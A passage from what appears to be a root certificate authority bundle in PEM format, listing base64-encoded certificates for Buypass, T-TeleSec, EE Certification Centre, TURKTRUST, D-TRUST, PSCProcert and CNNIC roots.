BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUS8W0QGutHLOlHGVuRjaJhwUMDrYwDQYJ KoZIhvcNAQELBQADggIBAHNXPyzVlTJ+N9uWkusZXn5T50HsEbZH77Xe7XRcxfGOSeD8bpkTzZ+K 2s06Ctg6Wgk/XzTQLwPSZh0avZyQN8gMjgdalEVGKua+etqhqaRpEpKwfTbURIfXUfEpY9Z1zRbk J4kd+MIySP3bmdCPX1R0zKxnNBFi2QwKN4fRoxdIjtIXHfbX/dtl6/2o1PXWT6RbdejF0mCy2wl+ JYt7ulKSnj7oxXehPOBKc2thz4bcQ///If4jXSRK9dNtD2IEBVeC2m6kMyV5Sy5UGYvMLD0w6dEG /+gyRr61M3Z3qAFdlsHB1b6uJcDJHgoJIIihDsnzb02CVAAgp9KP5DlUFy6NHrgbuxu9mk47EDTc nIhT76IxW1hPkWLIwpqazRVdOKnWvvgTtZ8SafJQYqz7Fzf07rh1Z2AQ+4NQ+US1dZxAF7L+/Xld blhYXzD8AK6vM8EOTmy6p6ahfzLbOOCxchcKK5HsamMm7YnUeMx0HgX4a/6ManY5Ka5lIxKVCCIc l85bBu4M4ru8H0ST9tg4RQUh7eStqxK2A6RCLi3ECToDZ2mEmuFZkIoohdVddLHRDiBYmxOlsGOm 7XtH/UVVMKTumtTm4ofvmMkyghEpIrwACjFeLQ/Ajulrso8uBtjRkcfGEvRM/TAXw8HaOFvjqerm obp573PYtlNXLfbQ4ddI -----END CERTIFICATE----- Buypass Class 2 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMiBSb290IENBMB4X DTEwMTAyNjA4MzgwM1oXDTQwMTAyNjA4MzgwM1owTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDIgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANfHXvfBB9R3+0Mh9PT1aeTuMgHbo4Yf5FkNuud1 g1Lr6hxhFUi7HQfKjK6w3Jad6sNgkoaCKHOcVgb/S2TwDCo3SbXlzwx87vFKu3MwZfPVL4O2fuPn 9Z6rYPnT8Z2SdIrkHJasW4DptfQxh6NR/Md+oW+OU3fUl8FVM5I+GC911K2GScuVr1QGbNgGE41b /+EmGVnAJLqBcXmQRFBoJJRfuLMR8SlBYaNByyM21cHxMlAQTn/0hpPshNOOvEu/XAFOBz3cFIqU CqTqc/sLUegTBxj6DvEr0VQVfTzh97QZQmdiXnfgolXsttlpF9U6r0TtSsWe5HonfOV116rLJeff awrbD02TTqigzXsu8lkBarcNuAeBfos4GzjmCleZPe4h6KP1DBbdi+w0jpwqHAAVF41og9JwnxgI zRFo1clrUs3ERo/ctfPYV3Me6ZQ5BL/T3jjetFPsaRyifsSP5BtwrfKi+fv3FmRmaZ9JUaLiFRhn Bkp/1Wy1TbMz4GHrXb7pmA8y1x1LPC5aAVKRCfLf6o3YBkBjqhHk/sM3nhRSP/TizPJhk9H9Z2vX Uq6/aKtAQ6BXNVN48FP4YUIHZMbXb5tMOA1jrGKvNouicwoN9SG9dKpN6nIDSdvHXx1iY8f93ZHs M+71bbRuMGjeyNYmsHVee7QHIJihdjK4TWxPAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFMmAd+BikoL1RpzzuvdMw964o605MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAU18h9bqwOlI5LJKwbADJ784g7wbylp7ppHR/ehb8t/W2+xUbP6umwHJdELFx7rxP462s A20ucS6vxOOto70MEae0/0qyexAQH6dXQbLArvQsWdZHEIjzIVEpMMpghq9Gqx3tOluwlN5E40EI osHsHdb9T7bWR9AUC8rmyrV7d35BH16Dx7aMOZawP5aBQW9gkOLo+fsicdl9sz1Gv7SEr5AcD48S aq/v7h56rgJKihcrdv6sVIkkLE8/trKnToyokZf7KcZ7XC25y2a2t6hbElGFtQl+Ynhw/qlqYLYd DnkM/crqJIByw5c/8nerQyIKx+u2DISCLIBrQYoIwOula9+ZEsuK1V6ADJHgJgg2SMX6OBE1/yWD LfJ6v9r9jv6ly0UsH8SIU653DtmadsWOLB2jutXsMq7Aqqz30XpN69QH4kj3Io6wpJ9qzo6ysmD0 oyLQI+uUWnpp3Q+/QFesa1lQ2aOZ4W7+jQF5JyMV3pKdewlNWudLSDBaGOYKbeaP4NK75t98biGC wWg5TbSYWGZizEqQXsP6JwSxeRV0mcy+rSDeJmAc61ZRpqPq5KM/p/9h3PFaTWwyI0PurKju7koS CTxdccK+efrCh2gdC/1cacwG0Jp9VJkqyTkaGa9LKkPzY11aWOIv4x3kqdbQCtCev9eBCfHJxyYN rJgWVqA= -----END CERTIFICATE----- Buypass Class 3 Root CA ======================= -----BEGIN CERTIFICATE----- MIIFWTCCA0GgAwIBAgIBAjANBgkqhkiG9w0BAQsFADBOMQswCQYDVQQGEwJOTzEdMBsGA1UECgwU QnV5cGFzcyBBUy05ODMxNjMzMjcxIDAeBgNVBAMMF0J1eXBhc3MgQ2xhc3MgMyBSb290IENBMB4X DTEwMTAyNjA4Mjg1OFoXDTQwMTAyNjA4Mjg1OFowTjELMAkGA1UEBhMCTk8xHTAbBgNVBAoMFEJ1 eXBhc3MgQVMtOTgzMTYzMzI3MSAwHgYDVQQDDBdCdXlwYXNzIENsYXNzIDMgUm9vdCBDQTCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKXaCpUWUOOV8l6ddjEGMnqb8RB2uACatVI2zSRH sJ8YZLya9vrVediQYkwiL944PdbgqOkcLNt4EemOaFEVcsfzM4fkoF0LXOBXByow9c3EN3coTRiR 5r/VUv1xLXA+58bEiuPwKAv0dpihi4dVsjoT/Lc+JzeOIuOoTyrvYLs9tznDDgFHmV0ST9tD+leh 7fmdvhFHJlsTmKtdFoqwNxxXnUX/iJY2v7vKB3tvh2PX0DJq1l1sDPGzbjniazEuOQAnFN44wOwZ ZoYS6J1yFhNkUsepNxz9gjDthBgd9K5c/3ATAOux9TN6S9ZV+AWNS2mw9bMoNlwUxFFzTWsL8TQH 2xc519woe2v1n/MuwU8XKhDzzMro6/1rqy6any2CbgTUUgGTLT2G/H783+9CHaZr77kgxve9oKeV /afmiSTYzIw0bOIjL9kSGiG5VZFvC5F5GQytQIgLcOJ60g7YaEi7ghM5EFjp2CoHxhLbWNvSO1UQ RwUVZ2J+GGOmRj8JDlQyXr8NYnon74Do29lLBlo3WiXQCBJ31G8JUJc9yB3D34xFMFbG02SrZvPA Xpacw8Tvw3xrizp5f7NJzz3iiZ+gMEuFuZyUJHmPfWupRWgPK9Dx2hzLabjKSWJtyNBjYt1gD1iq j6G8BaVmos8bdrKEZLFMOVLAMLrwjEsCsLa3AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD VR0OBBYEFEe4zf/lb+74suwvTg75JbCOPGvDMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsF AAOCAgEAACAjQTUEkMJAYmDv4jVM1z+s4jSQuKFvdvoWFqRINyzpkMLyPPgKn9iB5btb2iUspKdV cSQy9sgL8rxq+JOssgfCX5/bzMiKqr5qb+FJEMwx14C7u8jYog5kV+qi9cKpMRXSIGrs/CIBKM+G uIAeqcwRpTzyFrNHnfzSgCHEy9BHcEGhyoMZCCxt8l13nIoUE9Q2HJLw5QY33KbmkJs4j1xrG0aG Q0JfPgEHU1RdZX33inOhmlRaHylDFCfChQ+1iHsaO5S3HWCntZznKWlXWpuTekMwGwPXYshApqr8 ZORK15FTAaggiG6cX0S5y2CBNOxv033aSF/rtJC8LakcC6wc1aJoIIAE1vyxjy+7SjENSoYc6+I2 KSb12tjE8nVhz36udmNKekBlk4f4HoCMhuWG1o8O/FMsYOgWYRqiPkN7zTlgVGr18okmAWiDSKIz 6MkEkbIRNBE+6tBDGR8Dk5AM/1E9V/RBbuHLoL7ryWPNbczk+DaqaJ3tvV2XcEQNtg413OEMXbug UZTLfhbrES+jkkXITHHZvMmZUldGL1DPvTVp9D0VzgalLA8+9oG6lLvDu79leNKGef9JOxqDDPDe eOzI8k1MGt6CKfjBWtrt7uYnXuhF0J0cUahoq0Tj0Itq4/g7u9xN12TyUb7mqqta6THuBrxzvxNi Cp/HuZc= -----END CERTIFICATE----- T-TeleSec GlobalRoot Class 3 ============================ -----BEGIN CERTIFICATE----- MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoM IlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBU cnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgx MDAxMTAyOTU2WhcNMzMxMDAxMjM1OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lz dGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBD ZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN8ELg63iIVl6bmlQdTQyK 9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/RLyTPWGrTs0NvvAgJ1gORH8EGoel15YU NpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZF iP0Zf3WHHx+xGwpzJFu5ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W 0eDrXltMEnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGjQjBA MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1A/d2O2GCahKqGFPr AyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOyWL6ukK2YJ5f+AbGwUgC4TeQbIXQb fsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzT ucpH9sry9uetuUg/vBa3wW306gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7h P0HHRwA11fXT91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4pTpPDpFQUWw== -----END CERTIFICATE----- EE Certification Centre Root CA =============================== -----BEGIN CERTIFICATE----- MIIEAzCCAuugAwIBAgIQVID5oHPtPwBMyonY43HmSjANBgkqhkiG9w0BAQUFADB1MQswCQYDVQQG EwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1czEoMCYGA1UEAwwfRUUgQ2Vy dGlmaWNhdGlvbiBDZW50cmUgUm9vdCBDQTEYMBYGCSqGSIb3DQEJARYJcGtpQHNrLmVlMCIYDzIw MTAxMDMwMTAxMDMwWhgPMjAzMDEyMTcyMzU5NTlaMHUxCzAJBgNVBAYTAkVFMSIwIAYDVQQKDBlB UyBTZXJ0aWZpdHNlZXJpbWlza2Vza3VzMSgwJgYDVQQDDB9FRSBDZXJ0aWZpY2F0aW9uIENlbnRy ZSBSb290IENBMRgwFgYJKoZIhvcNAQkBFglwa2lAc2suZWUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQDIIMDs4MVLqwd4lfNE7vsLDP90jmG7sWLqI9iroWUyeuuOF0+W2Ap7kaJjbMeM TC55v6kF/GlclY1i+blw7cNRfdCT5mzrMEvhvH2/UpvObntl8jixwKIy72KyaOBhU8E2lf/slLo2 rpwcpzIP5Xy0xm90/XsY6KxX7QYgSzIwWFv9zajmofxwvI6Sc9uXp3whrj3B9UiHbCe9nyV0gVWw 93X2PaRka9ZP585ArQ/dMtO8ihJTmMmJ+xAdTX7Nfh9WDSFwhfYggx/2uh8Ej+p3iDXE/+pOoYtN P2MbRMNE1CV2yreN1x5KZmTNXMWcg+HCCIia7E6j8T4cLNlsHaFLAgMBAAGjgYowgYcwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFBLyWj7qVhy/zQas8fElyalL1BSZ MEUGA1UdJQQ+MDwGCCsGAQUFBwMCBggrBgEFBQcDAQYIKwYBBQUHAwMGCCsGAQUFBwMEBggrBgEF BQcDCAYIKwYBBQUHAwkwDQYJKoZIhvcNAQEFBQADggEBAHv25MANqhlHt01Xo/6tu7Fq1Q+e2+Rj xY6hUFaTlrg4wCQiZrxTFGGVv9DHKpY5P30osxBAIWrEr7BSdxjhlthWXePdNl4dp1BUoMUq5KqM lIpPnTX/dqQGE5Gion0ARD9V04I8GtVbvFZMIi5GQ4okQC3zErg7cBqklrkar4dBGmoYDQZPxz5u uSlNDUmJEYcyW+ZLBMjkXOZ0c5RdFpgTlf7727FE5TpwrDdr5rMzcijJs1eg9gIWiAYLtqZLICjU 3j2LrTcFU3T+bsy8QxdxXvnFzBqpYe73dgzzcvRyrc9yAjYHR8/vGVCJYMzpJJUPwssd8m92kMfM dcGWxZ0= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2007 ================================================= -----BEGIN CERTIFICATE----- MIIEPTCCAyWgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV4wXAYDVQQKDFVUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgQXJhbMSxayAyMDA3MB4X DTA3MTIyNTE4MzcxOVoXDTE3MTIyMjE4MzcxOVowgb8xPzA9BgNVBAMMNlTDnFJLVFJVU1QgRWxl a3Ryb25payBTZXJ0aWZpa2EgSGl6bWV0IFNhxJ9sYXnEsWPEsXPEsTELMAkGA1UEBhMCVFIxDzAN BgNVBAcMBkFua2FyYTFeMFwGA1UECgxVVMOcUktUUlVTVCBCaWxnaSDEsGxldGnFn2ltIHZlIEJp bGnFn2ltIEfDvHZlbmxpxJ9pIEhpem1ldGxlcmkgQS7Fni4gKGMpIEFyYWzEsWsgMjAwNzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKu3PgqMyKVYFeaK7yc9SrToJdPNM8Ig3BnuiD9N YvDdE3ePYakqtdTyuTFYKTsvP2qcb3N2Je40IIDu6rfwxArNK4aUyeNgsURSsloptJGXg9i3phQv KUmi8wUG+7RP2qFsmmaf8EMJyupyj+sA1zU511YXRxcw9L6/P8JorzZAwan0qafoEGsIiveGHtya KhUG9qPw9ODHFNRRf8+0222vR5YXm3dx2KdxnSQM9pQ/hTEST7ruToK4uT6PIzdezKKqdfcYbwnT rqdUKDT74eA7YH2gvnmJhsifLfkKS8RQouf9eRbHegsYz85M733WB2+Y8a+xwXrXgTW4qhe04MsC AwEAAaNCMEAwHQYDVR0OBBYEFCnFkKslrxHkYb+j/4hhkeYO/pyBMA4GA1UdDwEB/wQEAwIBBjAP BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAQDdr4Ouwo0RSVgrESLFF6QSU2TJ/s Px+EnWVUXKgWAkD6bho3hO9ynYYKVZ1WKKxmLNA6VpM0ByWtCLCPyA8JWcqdmBzlVPi5RX9ql2+I aE1KBiY3iAIOtsbWcpnOa3faYjGkVh+uX4132l32iPwa2Z61gfAyuOOI0JzzaqC5mxRZNTZPz/OO Xl0XrRWV2N2y1RVuAE6zS89mlOTgzbUF2mNXi+WzqtvALhyQRNsaXRik7r4EW5nVcV9VZWRi1aKb BFmGyGJ353yCRWo9F7/snXUMrqNvWtMvmDb08PUZqxFdyKbjKlhqQgnDvZImZjINXQhVdP+MmNAK poRq0Tl9 -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 2009 ============================== -----BEGIN CERTIFICATE----- MIIEMzCCAxugAwIBAgIDCYPzMA0GCSqGSIb3DQEBCwUAME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTAe Fw0wOTExMDUwODM1NThaFw0yOTExMDUwODM1NThaME0xCzAJBgNVBAYTAkRFMRUwEwYDVQQKDAxE LVRydXN0IEdtYkgxJzAlBgNVBAMMHkQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgMjAwOTCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANOySs96R+91myP6Oi/WUEWJNTrGa9v+2wBoqOAD ER03UAifTUpolDWzU9GUY6cgVq/eUXjsKj3zSEhQPgrfRlWLJ23DEE0NkVJD2IfgXU42tSHKXzlA BF9bfsyjxiupQB7ZNoTWSPOSHjRGICTBpFGOShrvUD9pXRl/RcPHAY9RySPocq60vFYJfxLLHLGv KZAKyVXMD9O0Gu1HNVpK7ZxzBCHQqr0ME7UAyiZsxGsMlFqVlNpQmvH/pStmMaTJOKDfHR+4CS7z p+hnUquVH+BGPtikw8paxTGA6Eian5Rp/hnd2HN8gcqW3o7tszIFZYQ05ub9VxC1X3a/L7AQDcUC AwEAAaOCARowggEWMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFP3aFMSfMN4hvR5COfyrYyNJ 4PGEMA4GA1UdDwEB/wQEAwIBBjCB0wYDVR0fBIHLMIHIMIGAoH6gfIZ6bGRhcDovL2RpcmVjdG9y eS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwUm9vdCUyMENsYXNzJTIwMyUyMENBJTIwMiUyMDIw MDksTz1ELVRydXN0JTIwR21iSCxDPURFP2NlcnRpZmljYXRlcmV2b2NhdGlvbmxpc3QwQ6BBoD+G PWh0dHA6Ly93d3cuZC10cnVzdC5uZXQvY3JsL2QtdHJ1c3Rfcm9vdF9jbGFzc18zX2NhXzJfMjAw OS5jcmwwDQYJKoZIhvcNAQELBQADggEBAH+X2zDI36ScfSF6gHDOFBJpiBSVYEQBrLLpME+bUMJm 2H6NMLVwMeniacfzcNsgFYbQDfC+rAF1hM5+n02/t2A7nPPKHeJeaNijnZflQGDSNiH+0LS4F9p0 o3/U37CYAqxva2ssJSRyoWXuJVrl5jLn8t+rSfrzkGkj2wTZ51xY/GXUl77M/C4KzCUqNQT4YJEV dT1B/yMfGchs64JTBKbkTCJNjYy6zltz7GRUUG3RnFX7acM2w4y8PIWmawomDeCTmGCufsYkl4ph X5GOZpIJhzbNi5stPvZR1FDUWSi9g/LMKHtThm3YJohw1+qRzT65ysCQblrGXnRl11z+o+I= -----END CERTIFICATE----- D-TRUST Root Class 3 CA 2 EV 2009 ================================= -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIDCYP0MA0GCSqGSIb3DQEBCwUAMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTAeFw0wOTExMDUwODUwNDZaFw0yOTExMDUwODUwNDZaMFAxCzAJBgNVBAYTAkRFMRUwEwYDVQQK DAxELVRydXN0IEdtYkgxKjAoBgNVBAMMIUQtVFJVU1QgUm9vdCBDbGFzcyAzIENBIDIgRVYgMjAw OTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJnxhDRwui+3MKCOvXwEz75ivJn9gpfS egpnljgJ9hBOlSJzmY3aFS3nBfwZcyK3jpgAvDw9rKFs+9Z5JUut8Mxk2og+KbgPCdM03TP1YtHh zRnp7hhPTFiu4h7WDFsVWtg6uMQYZB7jM7K1iXdODL/ZlGsTl28So/6ZqQTMFexgaDbtCHu39b+T 7WYxg4zGcTSHThfqr4uRjRxWQa4iN1438h3Z0S0NL2lRp75mpoo6Kr3HGrHhFPC+Oh25z1uxav60 sUYgovseO3Dvk5h9jHOW8sXvhXCtKSb8HgQ+HKDYD8tSg2J87otTlZCpV6LqYQXY+U3EJ/pure35 11H3a6UCAwEAAaOCASQwggEgMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFNOUikxiEyoZLsyv cop9NteaHNxnMA4GA1UdDwEB/wQEAwIBBjCB3QYDVR0fBIHVMIHSMIGHoIGEoIGBhn9sZGFwOi8v ZGlyZWN0b3J5LmQtdHJ1c3QubmV0L0NOPUQtVFJVU1QlMjBSb290JTIwQ2xhc3MlMjAzJTIwQ0El MjAyJTIwRVYlMjAyMDA5LE89RC1UcnVzdCUyMEdtYkgsQz1ERT9jZXJ0aWZpY2F0ZXJldm9jYXRp b25saXN0MEagRKBChkBodHRwOi8vd3d3LmQtdHJ1c3QubmV0L2NybC9kLXRydXN0X3Jvb3RfY2xh c3NfM19jYV8yX2V2XzIwMDkuY3JsMA0GCSqGSIb3DQEBCwUAA4IBAQA07XtaPKSUiO8aEXUHL7P+ PPoeUSbrh/Yp3uDx1MYkCenBz1UbtDDZzhr+BlGmFaQt77JLvyAoJUnRpjZ3NOhk31KxEcdzes05 nsKtjHEh8lprr988TlWvsoRlFIm5d8sqMb7Po23Pb0iUMkZv53GMoKaEGTcH8gNFCSuGdXzfX2lX ANtu2KZyIktQ1HWYVt+3GP9DQ1CuekR78HlR10M9p9OB0/DJT7naxpeG0ILD5EJt/rDiZE4OJudA NCa1CInXCGNjOCd1HjPqbqjdn5lPdE2BiYBL3ZqXKVwvvoFBuYz/6n1gBp7N1z3TLqMVvKjmJuVv w9y4AyHqnxbxLFS1 -----END CERTIFICATE----- PSCProcert ========== -----BEGIN CERTIFICATE----- MIIJhjCCB26gAwIBAgIBCzANBgkqhkiG9w0BAQsFADCCAR4xPjA8BgNVBAMTNUF1dG9yaWRhZCBk ZSBDZXJ0aWZpY2FjaW9uIFJhaXogZGVsIEVzdGFkbyBWZW5lem9sYW5vMQswCQYDVQQGEwJWRTEQ MA4GA1UEBxMHQ2FyYWNhczEZMBcGA1UECBMQRGlzdHJpdG8gQ2FwaXRhbDE2MDQGA1UEChMtU2lz dGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMUMwQQYDVQQLEzpTdXBl cmludGVuZGVuY2lhIGRlIFNlcnZpY2lvcyBkZSBDZXJ0aWZpY2FjaW9uIEVsZWN0cm9uaWNhMSUw IwYJKoZIhvcNAQkBFhZhY3JhaXpAc3VzY2VydGUuZ29iLnZlMB4XDTEwMTIyODE2NTEwMFoXDTIw MTIyNTIzNTk1OVowgdExJjAkBgkqhkiG9w0BCQEWF2NvbnRhY3RvQHByb2NlcnQubmV0LnZlMQ8w DQYDVQQHEwZDaGFjYW8xEDAOBgNVBAgTB01pcmFuZGExKjAoBgNVBAsTIVByb3ZlZWRvciBkZSBD ZXJ0aWZpY2Fkb3MgUFJPQ0VSVDE2MDQGA1UEChMtU2lzdGVtYSBOYWNpb25hbCBkZSBDZXJ0aWZp Y2FjaW9uIEVsZWN0cm9uaWNhMQswCQYDVQQGEwJWRTETMBEGA1UEAxMKUFNDUHJvY2VydDCCAiIw DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBANW39KOUM6FGqVVhSQ2oh3NekS1wwQYalNo97BVC wfWMrmoX8Yqt/ICV6oNEolt6Vc5Pp6XVurgfoCfAUFM+jbnADrgV3NZs+J74BCXfgI8Qhd19L3uA 3VcAZCP4bsm+lU/hdezgfl6VzbHvvnpC2Mks0+saGiKLt38GieU89RLAu9MLmV+QfI4tL3czkkoh RqipCKzx9hEC2ZUWno0vluYC3XXCFCpa1sl9JcLB/KpnheLsvtF8PPqv1W7/U0HU9TI4seJfxPmO EO8GqQKJ/+MMbpfg353bIdD0PghpbNjU5Db4g7ayNo+c7zo3Fn2/omnXO1ty0K+qP1xmk6wKImG2 0qCZyFSTXai20b1dCl53lKItwIKOvMoDKjSuc/HUtQy9vmebVOvh+qBa7Dh+PsHMosdEMXXqP+UH 0quhJZb25uSgXTcYOWEAM11G1ADEtMo88aKjPvM6/2kwLkDd9p+cJsmWN63nOaK/6mnbVSKVUyqU td+tFjiBdWbjxywbk5yqjKPK2Ww8F22c3HxT4CAnQzb5EuE8XL1mv6JpIzi4mWCZDlZTOpx+FIyw Bm/xhnaQr/2v/pDGj59/i5IjnOcVdo/Vi5QTcmn7K2FjiO/mpF7moxdqWEfLcU8UC17IAggmosvp r2uKGcfLFFb14dq12fy/czja+eevbqQ34gcnAgMBAAGjggMXMIIDEzASBgNVHRMBAf8ECDAGAQH/ AgEBMDcGA1UdEgQwMC6CD3N1c2NlcnRlLmdvYi52ZaAbBgVghl4CAqASDBBSSUYtRy0yMDAwNDAz Ni0wMB0GA1UdDgQWBBRBDxk4qpl/Qguk1yeYVKIXTC1RVDCCAVAGA1UdIwSCAUcwggFDgBStuyId xuDSAaj9dlBSk+2YwU2u06GCASakggEiMIIBHjE+MDwGA1UEAxM1QXV0b3JpZGFkIGRlIENlcnRp ZmljYWNpb24gUmFpeiBkZWwgRXN0YWRvIFZlbmV6b2xhbm8xCzAJBgNVBAYTAlZFMRAwDgYDVQQH EwdDYXJhY2FzMRkwFwYDVQQIExBEaXN0cml0byBDYXBpdGFsMTYwNAYDVQQKEy1TaXN0ZW1hIE5h Y2lvbmFsIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExQzBBBgNVBAsTOlN1cGVyaW50ZW5k ZW5jaWEgZGUgU2VydmljaW9zIGRlIENlcnRpZmljYWNpb24gRWxlY3Ryb25pY2ExJTAjBgkqhkiG 9w0BCQEWFmFjcmFpekBzdXNjZXJ0ZS5nb2IudmWCAQowDgYDVR0PAQH/BAQDAgEGME0GA1UdEQRG MESCDnByb2NlcnQubmV0LnZloBUGBWCGXgIBoAwMClBTQy0wMDAwMDKgGwYFYIZeAgKgEgwQUklG LUotMzE2MzUzNzMtNzB2BgNVHR8EbzBtMEagRKBChkBodHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52 ZS9sY3IvQ0VSVElGSUNBRE8tUkFJWi1TSEEzODRDUkxERVIuY3JsMCOgIaAfhh1sZGFwOi8vYWNy YWl6LnN1c2NlcnRlLmdvYi52ZTA3BggrBgEFBQcBAQQrMCkwJwYIKwYBBQUHMAGGG2h0dHA6Ly9v Y3NwLnN1c2NlcnRlLmdvYi52ZTBBBgNVHSAEOjA4MDYGBmCGXgMBAjAsMCoGCCsGAQUFBwIBFh5o dHRwOi8vd3d3LnN1c2NlcnRlLmdvYi52ZS9kcGMwDQYJKoZIhvcNAQELBQADggIBACtZ6yKZu4Sq T96QxtGGcSOeSwORR3C7wJJg7ODU523G0+1ng3dS1fLld6c2suNUvtm7CpsR72H0xpkzmfWvADmN g7+mvTV+LFwxNG9s2/NkAZiqlCxB3RWGymspThbASfzXg0gTB1GEMVKIu4YXx2sviiCtxQuPcD4q uxtxj7mkoP3YldmvWb8lK5jpY5MvYB7Eqvh39YtsL+1+LrVPQA3uvFd359m21D+VJzog1eWuq2w1 n8GhHVnchIHuTQfiSLaeS5UtQbHh6N5+LwUeaO6/u5BlOsju6rEYNxxik6SgMexxbJHmpHmJWhSn FFAFTKQAVzAswbVhltw+HoSvOULP5dAssSS830DD7X9jSr3hTxJkhpXzsOfIt+FTvZLm8wyWuevo 5pLtp4EJFAv8lXrPj9Y0TzYS3F7RNHXGRoAvlQSMx4bEqCaJqD8Zm4G7UaRKhqsLEQ+xrmNTbSjq 3TNWOByyrYDT13K9mmyZY+gAu0F2BbdbmRiKw7gSXFbPVgx96OLP7bx0R/vu0xdOIk9W/1DzLuY5 poLWccret9W6aAjtmcz9opLLabid+Qqkpj5PkygqYWwHJgD/ll9ohri4zspV4KuxPX+Y1zMOWj3Y eMLEYC/HYvBhkdI4sPaeVdtAgAUSM84dkpvRabP/v/GSCmE1P93+hvS84Bpxs2Km -----END CERTIFICATE----- China Internet Network Information Center EV Certificates Root ============================================================== -----BEGIN CERTIFICATE----- MIID9zCCAt+gAwIBAgIESJ8AATANBgkqhkiG9w0BAQUFADCBijELMAkGA1UEBhMCQ04xMjAwBgNV BAoMKUNoaW5hIEludGVybmV0IE5ldHdvcmsgSW5mb3JtYXRpb24gQ2VudGVyMUcwRQYDVQQDDD5D aGluYSBJbnRlcm5ldCBOZXR3b3JrIEluZm9ybWF0aW9uIENlbnRlciBFViBDZXJ0aWZpY2F0ZXMg Um9vdDAeFw0xMDA4MzEwNzExMjVaFw0zMDA4MzEwNzExMjVaMIGKMQswCQYDVQQGEwJDTjEyMDAG A1UECgwpQ2hpbmEgSW50ZXJuZXQgTmV0d29yayBJbmZvcm1hdGlvbiBDZW50ZXIxRzBFBgNVBAMM 